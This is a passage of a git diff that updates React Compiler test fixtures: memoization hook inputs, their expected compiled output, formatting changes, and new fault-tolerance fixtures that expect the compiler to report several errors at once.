+import {useCallback, useMemo} from 'react';
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function useHook1(x) {
+  return useMemo(() => {
+    return x?.y.z?.a;
+  }, [x?.y.z?.a]);
+}
+function useHook2(x) {
+  useMemo(() => {
+    return x.y.z?.a;
+  }, [x.y.z?.a]);
+}
+function useHook3(x) {
+  return useMemo(() => {
+    return x?.y.z.a?.b;
+  }, [x?.y.z.a?.b]);
+}
+function useHook4(x, y, z) {
+  return useMemo(() => {
+    return x?.y?.[(console.log(y), z?.b)];
+  }, [x?.y, y, z?.b]);
+}
+function useHook5(x) {
+  return useMemo(() => {
+    const e = [];
+    const local = makeObject_Primitives(x);
+    const fn = () => {
+      e.push(local);
+    };
+    fn();
+    return e;
+  }, [x]);
+}
+function useHook6(x) {
+  return useMemo(() => {
+    const f = [];
+    f.push(x.y.z);
+    f.push(x.y);
+    f.push(x);
+    return f;
+  }, [x]);
+}
+
+function useHook7(x) {
+  const [state, setState] = useState(true);
+  const f = () => {
+    setState(x => !x);
+  };
+  return useCallback(() => {
+    f();
+  }, [f]);
+}
+
+function Component({x, y, z}) {
+  const a = useHook1(x);
+  const b = useHook2(x);
+  const c = useHook3(x);
+  const d = useHook4(x, y, z);
+  const e = useHook5(x);
+  const f = useHook6(x);
+  const g = useHook7(x);
+  return <Stringify results={[a, b, c, d, e, f, g]} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.expect.md
index 0b90b6c6256f..4257f9b6047d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
-import { useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function Component(props) {
   const [state] = useState(0);
@@ -28,7 +29,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c2 } from "react/compiler-runtime";
+import { c as _c2 } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useMemo, useState } from "react";
 import { ValidateMemoization } from "shared-runtime";
 
@@ -42,34 +43,32 @@ function Component(props) {
   const c1 = __c;
   const $c = c1;
   let t0;
-  let t1;
   if ($[0] !== $c) {
-    t1 = [$c];
+    t0 = [$c];
     $[0] = $c;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const array = t0;
-  let t2;
+  let t1;
   if ($[2] !== state) {
-    t2 = [state];
+    t1 = [state];
     $[2] = state;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  let t3;
-  if ($[4] !== t2 || $[5] !== array) {
-    t3 = <ValidateMemoization inputs={t2} output={array} />;
-    $[4] = t2;
-    $[5] = array;
-    $[6] = t3;
+  let t2;
+  if ($[4] !== array || $[5] !== t1) {
+    t2 = <ValidateMemoization inputs={t1} output={array} />;
+    $[4] = array;
+    $[5] = t1;
+    $[6] = t2;
   } else {
-    t3 = $[6];
+    t2 = $[6];
   }
-  return t3;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.js
index ac56b56fc178..bcc2fba97880 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/existing-variables-with-c-name.js
@@ -1,5 +1,6 @@
-import { useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function Component(props) {
   const [state] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.expect.md
index 146182fb8d47..1e315b660994 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.expect.md
@@ -9,8 +9,8 @@ function f(y) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.js
index a50c8b31cab4..418e352deaa7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/expression-with-assignment-dynamic.js
@@ -5,6 +5,6 @@ function f(y) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: f,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.expect.md
index 92706ea38c4c..07d02cb0e977 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.expect.md
@@ -19,8 +19,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -48,9 +48,11 @@ function foo(a, b, c) {
   } else {
     x = $[3];
   }
+
   if (x.length) {
     return x;
   }
+
   return null;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.js
index deeae19b0ab6..b7179158365b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/extend-scopes-if.js
@@ -15,6 +15,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.expect.md
index 87084a14028c..3c3b3e32d05e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
-import { useEffect, useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+// @compilationMode:"infer"
+import {useEffect, useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 let pretendConst = 0;
 
@@ -27,7 +27,7 @@ function Component() {
 
   // In production mode (no @enableResetCacheOnSourceFileChanges) memo caches are not
   // reset unless the deps change
-  const value = useMemo(() => [{ pretendConst }], []);
+  const value = useMemo(() => [{pretendConst}], []);
 
   return <ValidateMemoization inputs={[]} output={value} />;
 }
@@ -43,7 +43,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 import { useEffect, useMemo, useState } from "react";
 import { ValidateMemoization } from "shared-runtime";
 
@@ -58,37 +58,29 @@ function unsafeUpdateConst() {
 }
 
 function Component() {
-  const $ = _c(3);
+  const $ = _c(2);
+  useState(_temp);
+
+  unsafeUpdateConst();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      unsafeResetConst();
-    };
+    t0 = [{ pretendConst }];
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  useState(t0);
-
-  unsafeUpdateConst();
+  const value = t0;
   let t1;
-  let t2;
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = [{ pretendConst }];
-    $[1] = t2;
-  } else {
-    t2 = $[1];
-  }
-  t1 = t2;
-  const value = t1;
-  let t3;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = <ValidateMemoization inputs={[]} output={value} />;
-    $[2] = t3;
+    t1 = <ValidateMemoization inputs={[]} output={value} />;
+    $[1] = t1;
   } else {
-    t3 = $[2];
+    t1 = $[1];
   }
-  return t3;
+  return t1;
+}
+function _temp() {
+  unsafeResetConst();
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.js
index 6c4ed19e78cf..f1d96b5635a4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-dont-refresh-const-changes-prod.js
@@ -1,6 +1,6 @@
-// @compilationMode(infer)
-import { useEffect, useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+// @compilationMode:"infer"
+import {useEffect, useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 let pretendConst = 0;
 
@@ -23,7 +23,7 @@ function Component() {
 
   // In production mode (no @enableResetCacheOnSourceFileChanges) memo caches are not
   // reset unless the deps change
-  const value = useMemo(() => [{ pretendConst }], []);
+  const value = useMemo(() => [{pretendConst}], []);
 
   return <ValidateMemoization inputs={[]} output={value} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.expect.md
index 19317de47e2b..301eee10da05 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer) @enableResetCacheOnSourceFileChanges
-import { useEffect, useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+// @compilationMode:"infer" @enableResetCacheOnSourceFileChanges @validateExhaustiveMemoizationDependencies:false
+import {useEffect, useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 let pretendConst = 0;
 
@@ -30,7 +30,7 @@ function Component() {
   // as if value was reactive. However, we don't want to actually treat globals as
   // reactive (though that would be trivial) since it could change compilation too much
   // btw dev and prod. Instead, we should reset the cache via a secondary mechanism.
-  const value = useMemo(() => [{ pretendConst }], [pretendConst]);
+  const value = useMemo(() => [{pretendConst}], [pretendConst]);
 
   return <ValidateMemoization inputs={[pretendConst]} output={value} />;
 }
@@ -46,7 +46,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer) @enableResetCacheOnSourceFileChanges
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer" @enableResetCacheOnSourceFileChanges @validateExhaustiveMemoizationDependencies:false
 import { useEffect, useMemo, useState } from "react";
 import { ValidateMemoization } from "shared-runtime";
 
@@ -61,45 +61,37 @@ function unsafeUpdateConst() {
 }
 
 function Component() {
-  const $ = _c(4);
+  const $ = _c(3);
   if (
-    $[0] !== "4bf230b116dd95f382060ad17350e116395e41ed757e51fd074ea0b4ed281272"
+    $[0] !== "36c02976ff5bc474b7510128ea8220ffe31d92cd5d245148ed0a43146d18ded4"
   ) {
-    for (let $i = 0; $i < 4; $i += 1) {
+    for (let $i = 0; $i < 3; $i += 1) {
       $[$i] = Symbol.for("react.memo_cache_sentinel");
     }
-    $[0] = "4bf230b116dd95f382060ad17350e116395e41ed757e51fd074ea0b4ed281272";
+    $[0] = "36c02976ff5bc474b7510128ea8220ffe31d92cd5d245148ed0a43146d18ded4";
   }
+  useState(_temp);
+
+  unsafeUpdateConst();
   let t0;
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      unsafeResetConst();
-    };
+    t0 = [{ pretendConst }];
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  useState(t0);
-
-  unsafeUpdateConst();
+  const value = t0;
   let t1;
-  let t2;
   if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = [{ pretendConst }];
-    $[2] = t2;
-  } else {
-    t2 = $[2];
-  }
-  t1 = t2;
-  const value = t1;
-  let t3;
-  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = <ValidateMemoization inputs={[pretendConst]} output={value} />;
-    $[3] = t3;
+    t1 = <ValidateMemoization inputs={[pretendConst]} output={value} />;
+    $[2] = t1;
   } else {
-    t3 = $[3];
+    t1 = $[2];
   }
-  return t3;
+  return t1;
+}
+function _temp() {
+  unsafeResetConst();
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.js
index 413ff7d1f97f..c5fcdf146edf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-refresh-on-const-changes-dev.js
@@ -1,6 +1,6 @@
-// @compilationMode(infer) @enableResetCacheOnSourceFileChanges
-import { useEffect, useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+// @compilationMode:"infer" @enableResetCacheOnSourceFileChanges @validateExhaustiveMemoizationDependencies:false
+import {useEffect, useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 let pretendConst = 0;
 
@@ -26,7 +26,7 @@ function Component() {
   // as if value was reactive. However, we don't want to actually treat globals as
   // reactive (though that would be trivial) since it could change compilation too much
   // btw dev and prod. Instead, we should reset the cache via a secondary mechanism.
-  const value = useMemo(() => [{ pretendConst }], [pretendConst]);
+  const value = useMemo(() => [{pretendConst}], [pretendConst]);
 
   return <ValidateMemoization inputs={[pretendConst]} output={value} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.expect.md
index ec16ce0bcdb7..136c19e62d0c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @enableResetCacheOnSourceFileChanges
-import { useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function Component(props) {
   const [state, setState] = useState(0);
@@ -30,44 +30,42 @@ import { ValidateMemoization } from "shared-runtime";
 function Component(props) {
   const $ = _c(8);
   if (
-    $[0] !== "bb6936608c0afe8e313aa547ca09fbc8451f24664284368812127c7e9bc2bca9"
+    $[0] !== "20945b0193e529df490847c66111b38d7b02485d5b53d0829ff3b23af87b105c"
   ) {
     for (let $i = 0; $i < 8; $i += 1) {
       $[$i] = Symbol.for("react.memo_cache_sentinel");
     }
-    $[0] = "bb6936608c0afe8e313aa547ca09fbc8451f24664284368812127c7e9bc2bca9";
+    $[0] = "20945b0193e529df490847c66111b38d7b02485d5b53d0829ff3b23af87b105c";
   }
   const [state] = useState(0);
-  let t0;
-  const t1 = state * 2;
-  let t2;
-  if ($[1] !== t1) {
-    t2 = [t1];
-    $[1] = t1;
-    $[2] = t2;
+  const t0 = state * 2;
+  let t1;
+  if ($[1] !== t0) {
+    t1 = [t0];
+    $[1] = t0;
+    $[2] = t1;
   } else {
-    t2 = $[2];
+    t1 = $[2];
   }
-  t0 = t2;
-  const doubled = t0;
-  let t3;
+  const doubled = t1;
+  let t2;
   if ($[3] !== state) {
-    t3 = [state];
+    t2 = [state];
     $[3] = state;
-    $[4] = t3;
+    $[4] = t2;
   } else {
-    t3 = $[4];
+    t2 = $[4];
   }
-  let t4;
-  if ($[5] !== t3 || $[6] !== doubled) {
-    t4 = <ValidateMemoization inputs={t3} output={doubled} />;
-    $[5] = t3;
-    $[6] = doubled;
-    $[7] = t4;
+  let t3;
+  if ($[5] !== doubled || $[6] !== t2) {
+    t3 = <ValidateMemoization inputs={t2} output={doubled} />;
+    $[5] = doubled;
+    $[6] = t2;
+    $[7] = t3;
   } else {
-    t4 = $[7];
+    t3 = $[7];
   }
-  return t4;
+  return t3;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.js
index 3036108ace0d..71993c0cf9d9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fast-refresh-reloading.js
@@ -1,6 +1,6 @@
 // @enableResetCacheOnSourceFileChanges
-import { useMemo, useState } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useMemo, useState} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function Component(props) {
   const [state, setState] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.expect.md
new file mode 100644
index 000000000000..750f35d7eb95
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    doCleanup();
+  }
+
+  // Error: mutating frozen props
+  props.value = 1;
+
+  return <div>{props.value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.try-finally-and-mutation-of-props.ts:9:2
+   7 | function Component(props) {
+   8 |   // Error: try/finally (Todo from BuildHIR)
+>  9 |   try {
+     |   ^^^^^
+> 10 |     doWork();
+     | ^^^^^^^^^^^^^
+> 11 |   } finally {
+     | ^^^^^^^^^^^^^
+> 12 |     doCleanup();
+     | ^^^^^^^^^^^^^
+> 13 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  14 |
+  15 |   // Error: mutating frozen props
+  16 |   props.value = 1;
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.try-finally-and-mutation-of-props.ts:16:2
+  14 |
+  15 |   // Error: mutating frozen props
+> 16 |   props.value = 1;
+     |   ^^^^^ value cannot be modified
+  17 |
+  18 |   return <div>{props.value}</div>;
+  19 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.js
new file mode 100644
index 000000000000..a26724daf68c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-mutation-of-props.js
@@ -0,0 +1,19 @@
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    doCleanup();
+  }
+
+  // Error: mutating frozen props
+  props.value = 1;
+
+  return <div>{props.value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.expect.md
new file mode 100644
index 000000000000..45b637f104e5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doSomething();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return <div>{value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.try-finally-and-ref-access.ts:12:2
+  10 |
+  11 |   // Error: try/finally (Todo from BuildHIR)
+> 12 |   try {
+     |   ^^^^^
+> 13 |     doSomething();
+     | ^^^^^^^^^^^^^^^^^^
+> 14 |   } finally {
+     | ^^^^^^^^^^^^^^^^^^
+> 15 |     cleanup();
+     | ^^^^^^^^^^^^^^^^^^
+> 16 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  17 |
+  18 |   // Error: reading ref during render
+  19 |   const value = ref.current;
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.try-finally-and-ref-access.ts:19:16
+  17 |
+  18 |   // Error: reading ref during render
+> 19 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  20 |
+  21 |   return <div>{value}</div>;
+  22 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.js
new file mode 100644
index 000000000000..3d247c2c0b7c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-and-ref-access.js
@@ -0,0 +1,22 @@
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doSomething();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.expect.md
new file mode 100644
index 000000000000..a21c72635b3a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.expect.md
@@ -0,0 +1,86 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: three independent errors should all be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ * Error 3 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen props
+  props.items = [];
+
+  return <div>{value}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.try-finally-ref-access-and-mutation.ts:13:2
+  11 |
+  12 |   // Error: try/finally (Todo from BuildHIR)
+> 13 |   try {
+     |   ^^^^^
+> 14 |     doWork();
+     | ^^^^^^^^^^^^^
+> 15 |   } finally {
+     | ^^^^^^^^^^^^^
+> 16 |     cleanup();
+     | ^^^^^^^^^^^^^
+> 17 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  18 |
+  19 |   // Error: reading ref during render
+  20 |   const value = ref.current;
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.try-finally-ref-access-and-mutation.ts:23:2
+  21 |
+  22 |   // Error: mutating frozen props
+> 23 |   props.items = [];
+     |   ^^^^^ value cannot be modified
+  24 |
+  25 |   return <div>{value}</div>;
+  26 | }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.try-finally-ref-access-and-mutation.ts:20:16
+  18 |
+  19 |   // Error: reading ref during render
+> 20 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  21 |
+  22 |   // Error: mutating frozen props
+  23 |   props.items = [];
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.js
new file mode 100644
index 000000000000..f25a59c7653b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.try-finally-ref-access-and-mutation.js
@@ -0,0 +1,26 @@
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: three independent errors should all be reported.
+ *
+ * Error 1 (BuildHIR): `try/finally` is not supported
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ * Error 3 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  const ref = useRef(null);
+
+  // Error: try/finally (Todo from BuildHIR)
+  try {
+    doWork();
+  } finally {
+    cleanup();
+  }
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  // Error: mutating frozen props
+  props.items = [];
+
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.expect.md
new file mode 100644
index 000000000000..ecb65622d432
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+/**
